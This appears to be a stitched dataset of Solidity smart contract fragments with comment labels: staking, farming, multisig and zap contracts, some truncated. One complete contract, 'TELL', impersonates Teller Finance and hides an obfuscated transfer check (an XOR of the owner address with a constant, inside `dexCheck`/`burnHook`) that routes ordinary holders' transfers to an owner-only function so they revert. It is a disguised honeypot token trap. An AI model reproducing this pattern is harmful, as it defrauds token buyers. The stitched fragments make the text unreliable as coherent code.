function totalSupply() external view returns (uint256);
function totalBoostedSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stakeLocked(uint256 amount, uint256 secs) external;
function withdrawLocked(bytes32 kek_id) external;
}
contract LockRewards is ILockRewards, ReentrancyGuard, Pausable, VETokenFactory {
using SafeMath for uint256;
using SafeERC20 for ERC20;
/* ========== STATE VARIABLES ========== */
VEToken public veToken;
ERC20 public stakingToken;
// Constant for various precisions
uint256 private constant MULTIPLIER_BASE = 1e6;
address public owner_address;
address public timeLock_address; // Governance timeLock address
uint256 public locked_stake_max_multiplier = 8000000; // 6 decimals of precision. 1x = 1000000
uint256 public locked_stake_time_for_max_multiplier = 1 * 365 * 86400; // 1 years
uint256 public locked_stake_min_time = 604800; // 7 * 86400 (7 days)
string private locked_stake_min_time_str = "604800"; // 7 days on genesis
uint256 private _staking_token_supply = 0;
uint256 private _staking_token_boosted_supply = 0;
mapping(address => uint256) private _locked_balances;
mapping(address => uint256) private _boosted_balances;
mapping(address => LockedStake[]) private lockedStakes;
mapping(address => bool) public greyList;
bool public unlockedStakes; // Release lock stakes in case of system migration
struct LockedStake {
bytes32 kek_id;
uint256 start_timestamp;
uint256 amount;
uint256 ending_timestamp;
uint256 multiplier; // 6 decimals of precision. 1x = 1000000
uint256 multiplier_amount; // Front-end display usage
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _stakingToken,
address _timeLock_address,
string memory _rewardToken_symbol
) public Owned(msg.sender){
owner_address = msg.sender;
address rewardToken = genVEToken(_rewardToken_symbol);
veToken = VEToken(rewardToken);
stakingToken = ERC20(_stakingToken);
timeLock_address = _timeLock_address;
unlockedStakes = false;
}
/* ========== VIEWS ========== */
function totalSupply() external override view returns (uint256) {
return _staking_token_supply;
}
function totalBoostedSupply() external override view returns (uint256) {
return _staking_token_boosted_supply;
}
// locked liquidity tokens
function balanceOf(address account) external override view returns (uint256) {
return _locked_balances[account];
}
// Total 'balance' used for calculating the percent of the pool the account owns
// Takes into account the locked stake time multiplier
function boostedBalanceOf(address account) external view returns (uint256) {
return _boosted_balances[account];
}
function lockedStakesOf(address account) external view returns (LockedStake[] memory) {
return lockedStakes[account];
}
function stakingDecimals() external view returns (uint256) {
return stakingToken.decimals();
}
function stakingMultiplier(uint256 secs) public view returns (uint256) {
uint256 multiplier = uint(MULTIPLIER_BASE).add(secs.mul(locked_stake_max_multiplier.sub(MULTIPLIER_BASE)).div(locked_stake_time_for_max_multiplier));
if (multiplier > locked_stake_max_multiplier) multiplier = locked_stake_max_multiplier;
return multiplier;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stakeLocked(uint256 amount, uint256 secs) external override nonReentrant notPaused {
require(amount > 0, "Cannot stake 0");
require(secs > 0, "Cannot wait for a negative number");
require(greyList[msg.sender] == false, "address has been greyListed");
require(secs >= locked_stake_min_time, StringHelpers.strConcat("Minimum stake time not met (", locked_stake_min_time_str, ")") );
require(secs <= locked_stake_time_for_max_multiplier, "You are trying to stake for too long");
uint256 multiplier = stakingMultiplier(secs);
uint256 boostedAmount = amount.mul(multiplier).div(MULTIPLIER_BASE);
lockedStakes[msg.sender].push(LockedStake(
keccak256(abi.encodePacked(msg.sender, block.timestamp, amount)),
block.timestamp,
amount,
block.timestamp.add(secs),
multiplier,
boostedAmount
));
// Pull the tokens from the staker
TransferHelper.safeTransferFrom(address(stakingToken), msg.sender, address(this), amount);
// Staking token supply and boosted supply
_staking_token_supply = _staking_token_supply.add(amount);
_staking_token_boosted_supply = _staking_token_boosted_supply.add(boostedAmount);
// Staking token balance and boosted balance
_locked_balances[msg.sender] = _locked_balances[msg.sender].add(amount);
_boosted_balances[msg.sender] = _boosted_balances[msg.sender].add(boostedAmount);
VEToken(veToken).mint(msg.sender, boostedAmount);
emit StakeLocked(msg.sender, amount, secs);
}
function withdrawLocked(bytes32 kek_id) external override nonReentrant {
LockedStake memory thisStake;
thisStake.amount = 0;
uint theIndex;
for (uint i = 0; i < lockedStakes[msg.sender].length; i++){
if (kek_id == lockedStakes[msg.sender][i].kek_id){
thisStake = lockedStakes[msg.sender][i];
theIndex = i;
break;
}
}
require(thisStake.kek_id == kek_id, "Stake not found");
require(block.timestamp >= thisStake.ending_timestamp || unlockedStakes == true, "Stake is still locked!");
uint256 theAmount = thisStake.amount;
uint256 boostedAmount = thisStake.multiplier_amount;
if (theAmount > 0){
// Staking token balance and boosted balance
_locked_balances[msg.sender] = _locked_balances[msg.sender].sub(theAmount);
_boosted_balances[msg.sender] = _boosted_balances[msg.sender].sub(boostedAmount);
// Staking token supply and boosted supply
_staking_token_supply = _staking_token_supply.sub(theAmount);
_staking_token_boosted_supply = _staking_token_boosted_supply.sub(boostedAmount);
// Remove the stake from the array
delete lockedStakes[msg.sender][theIndex];
// Give the tokens to the withdrawer
stakingToken.safeTransfer(msg.sender, theAmount);
// burn the veToken corresponding to Token
VEToken(veToken).burn(msg.sender, boostedAmount);
emit WithdrawnLocked(msg.sender, theAmount, kek_id);
}
}
/* ========== RESTRICTED FUNCTIONS ========== */
// Added to support recovering LP Rewards from other systems to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance {
// Admin cannot withdraw the staking token from the contract
require(tokenAddress != address(stakingToken));
ERC20(tokenAddress).safeTransfer(owner_address, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setMultipliers(uint256 _locked_stake_max_multiplier) external onlyByOwnerOrGovernance {
require(_locked_stake_max_multiplier >= 1, "Multiplier must be greater than or equal to 1");
locked_stake_max_multiplier = _locked_stake_max_multiplier;
emit LockedStakeMaxMultiplierUpdated(locked_stake_max_multiplier);
}
function setLockedStakeTimeForMinAndMaxMultiplier(uint256 _locked_stake_time_for_max_multiplier, uint256 _locked_stake_min_time) external onlyByOwnerOrGovernance {
require(_locked_stake_time_for_max_multiplier >= 1, "Mul max time must be >= 1");
require(_locked_stake_min_time >= 1, "Mul min time must be >= 1");
locked_stake_time_for_max_multiplier = _locked_stake_time_for_max_multiplier;
locked_stake_min_time = _locked_stake_min_time;
locked_stake_min_time_str = StringHelpers.uint2str(_locked_stake_min_time);
emit LockedStakeTimeForMaxMultiplier(locked_stake_time_for_max_multiplier);
emit LockedStakeMinTime(_locked_stake_min_time);
}
function greyListAddress(address _address) external onlyByOwnerOrGovernance {
greyList[_address] = !(greyList[_address]);
}
function unlockStakes() external onlyByOwnerOrGovernance {
unlockedStakes = !unlockedStakes;
}
function setOwnerAndTimeLock(address _new_owner, address _new_timeLock) external onlyByOwnerOrGovernance {
owner_address = _new_owner;
timeLock_address = _new_timeLock;
emit SetOwnerAndTimeLock(_new_owner, _new_timeLock);
}
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timeLock_address, "Not owner or timeLock");
_;
}
/* ========== EVENTS ========== */
event Staked(address indexed user, uint256 amount);
event StakeLocked(address indexed user, uint256 amount, uint256 secs);
event Withdrawn(address indexed user, uint256 amount);
event WithdrawnLocked(address indexed user, uint256 amount, bytes32 kek_id);
event Recovered(address token, uint256 amount);
event LockedStakeMaxMultiplierUpdated(uint256 multiplier);
event LockedStakeTimeForMaxMultiplier(uint256 secs);
event LockedStakeMinTime(uint256 secs);
event SetOwnerAndTimeLock(address new_owner, address new_timeLock);
}
|
Staking token balance and boosted balance Staking token supply and boosted supply Remove the stake from the array Give the tokens to the withdrawer burn the veToken corresponding to Token
|
function withdrawLocked(bytes32 kek_id) external override nonReentrant {
LockedStake memory thisStake;
thisStake.amount = 0;
uint theIndex;
for (uint i = 0; i < lockedStakes[msg.sender].length; i++){
if (kek_id == lockedStakes[msg.sender][i].kek_id){
thisStake = lockedStakes[msg.sender][i];
theIndex = i;
break;
}
}
require(thisStake.kek_id == kek_id, "Stake not found");
require(block.timestamp >= thisStake.ending_timestamp || unlockedStakes == true, "Stake is still locked!");
uint256 theAmount = thisStake.amount;
uint256 boostedAmount = thisStake.multiplier_amount;
if (theAmount > 0){
_locked_balances[msg.sender] = _locked_balances[msg.sender].sub(theAmount);
_boosted_balances[msg.sender] = _boosted_balances[msg.sender].sub(boostedAmount);
_staking_token_supply = _staking_token_supply.sub(theAmount);
_staking_token_boosted_supply = _staking_token_boosted_supply.sub(boostedAmount);
delete lockedStakes[msg.sender][theIndex];
stakingToken.safeTransfer(msg.sender, theAmount);
VEToken(veToken).burn(msg.sender, boostedAmount);
emit WithdrawnLocked(msg.sender, theAmount, kek_id);
}
}
| 2,508,507
|
./partial_match/3/0x265DaDca67c1bb56518e845073bBF9F9FEBeaAB1/sources/BirdFarm.sol
|
Deposit LP tokens to BirdFarm for egg allocation.
|
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
| 5,116,508
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* _____ _ _ ______ _
* |_ _| | | | | ___(_)
* | | ___| | | ___ _ __ | |_ _ _ __ __ _ _ __ ___ ___
* | |/ _ \ | |/ _ \ '__| | _| | | '_ \ / _` | '_ \ / __/ _ \
* | | __/ | | __/ | | | | | | | | (_| | | | | (_| __/
* \_/\___|_|_|\___|_| \_| |_|_| |_|\__,_|_| |_|\___\___|
*
* An algorithmic credit risk protocol, for decentralized lending.
* Website: https://www.teller.finance/
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0x9326;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract TELL is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Teller Finance", "TELL") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
}
|
require sender to be owner/
|
function ownly() internal view {
require(isOwner(msg.sender));
}
| 100,475
|
./full_match/1/0xE7B4451e568CFeCa708aD17dFE0918D0905dc811/sources/contracts/vault-base/VaultBaseExternal.sol
|
This can be called by the executors
|
function removeAssetLock(address asset) public onlyThis {
_removeAssetLock(asset);
}
| 3,152,419
|
./full_match/7700/0x9f9A1Aa08910867F38359F4287865c4A1162C202/sources/src/contracts/OptionToken.sol
|
Returns the discounted price in paymentTokens for a given amount of options tokens _amount The amount of options tokens to exercise return The amount of payment tokens to pay to purchase the underlying tokens
|
function getDiscountedPrice(uint256 _amount) public view returns (uint256) {
return (getTimeWeightedAveragePrice(_amount) * discount) / 100;
}
| 4,655,443
|
pragma solidity ^0.4.24;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8ffcfbeae9eee1a1e8eae0fde8eacfece0e1fceae1fcf6fca1e1eafb">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
require(owners.length > 0);
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
Allows to remove an owner. Transaction has to be sent by wallet. owner Address of owner.
|
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
require(owners.length > 0);
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
| 15,377,789
|
./full_match/1/0x51e63665AC51D0313A042d89DEd26763936C0D12/sources/contracts/NeozenMythics.sol
|
Airdrop function _to The addresses to mint to airdrop too/
|
function airdrop(address[] calldata _to) external onlyOwner {
require(totalSupply() + _to.length < maxSupply, "Max mint reached.");
for (uint256 i = 0; i < _to.length; ) {
_mint(_to[i], 1);
unchecked {
++i;
}
}
}
| 8,329,510
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
// unused imports; required for a forced contract compilation
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/ProxyAdmin.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20, SafeMath} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
import {AccessControlDefendedBase} from "./common/AccessControlDefended.sol";
import {ISett} from "./interfaces/ISett.sol";
import {IBadgerSettPeak, IByvWbtcPeak} from "./interfaces/IPeak.sol";
import {IbBTC} from "./interfaces/IbBTC.sol";
import {IbyvWbtc} from "./interfaces/IbyvWbtc.sol";
contract Zap is Initializable, Pausable, AccessControlDefendedBase {
using SafeERC20 for IERC20;
using SafeMath for uint;
IBadgerSettPeak public constant settPeak = IBadgerSettPeak(0x41671BA1abcbA387b9b2B752c205e22e916BE6e3);
IByvWbtcPeak public constant byvWbtcPeak = IByvWbtcPeak(0x825218beD8BE0B30be39475755AceE0250C50627);
IERC20 public constant ibbtc = IERC20(0xc4E15973E6fF2A35cC804c2CF9D2a1b817a8b40F);
IERC20 public constant ren = IERC20(0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D);
IERC20 public constant wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IController public constant controller = IController(0x63cF44B2548e4493Fd099222A1eC79F3344D9682);
struct Pool {
IERC20 lpToken;
ICurveFi deposit;
ISett sett;
}
Pool[4] public pools;
address public governance;
modifier onlyGovernance() {
require(governance == msg.sender, "NOT_OWNER");
_;
}
function init(address _governance) initializer external {
_setGovernance(_governance);
pools[0] = Pool({ // crvRenWBTC [ ren, wbtc ]
lpToken: IERC20(0x49849C98ae39Fff122806C06791Fa73784FB3675),
deposit: ICurveFi(0x93054188d876f558f4a66B2EF1d97d16eDf0895B),
sett: ISett(0x6dEf55d2e18486B9dDfaA075bc4e4EE0B28c1545)
});
pools[1] = Pool({ // crvRenWSBTC [ ren, wbtc, sbtc ]
lpToken: IERC20(0x075b1bb99792c9E1041bA13afEf80C91a1e70fB3),
deposit: ICurveFi(0x7fC77b5c7614E1533320Ea6DDc2Eb61fa00A9714),
sett: ISett(0xd04c48A53c111300aD41190D63681ed3dAd998eC)
});
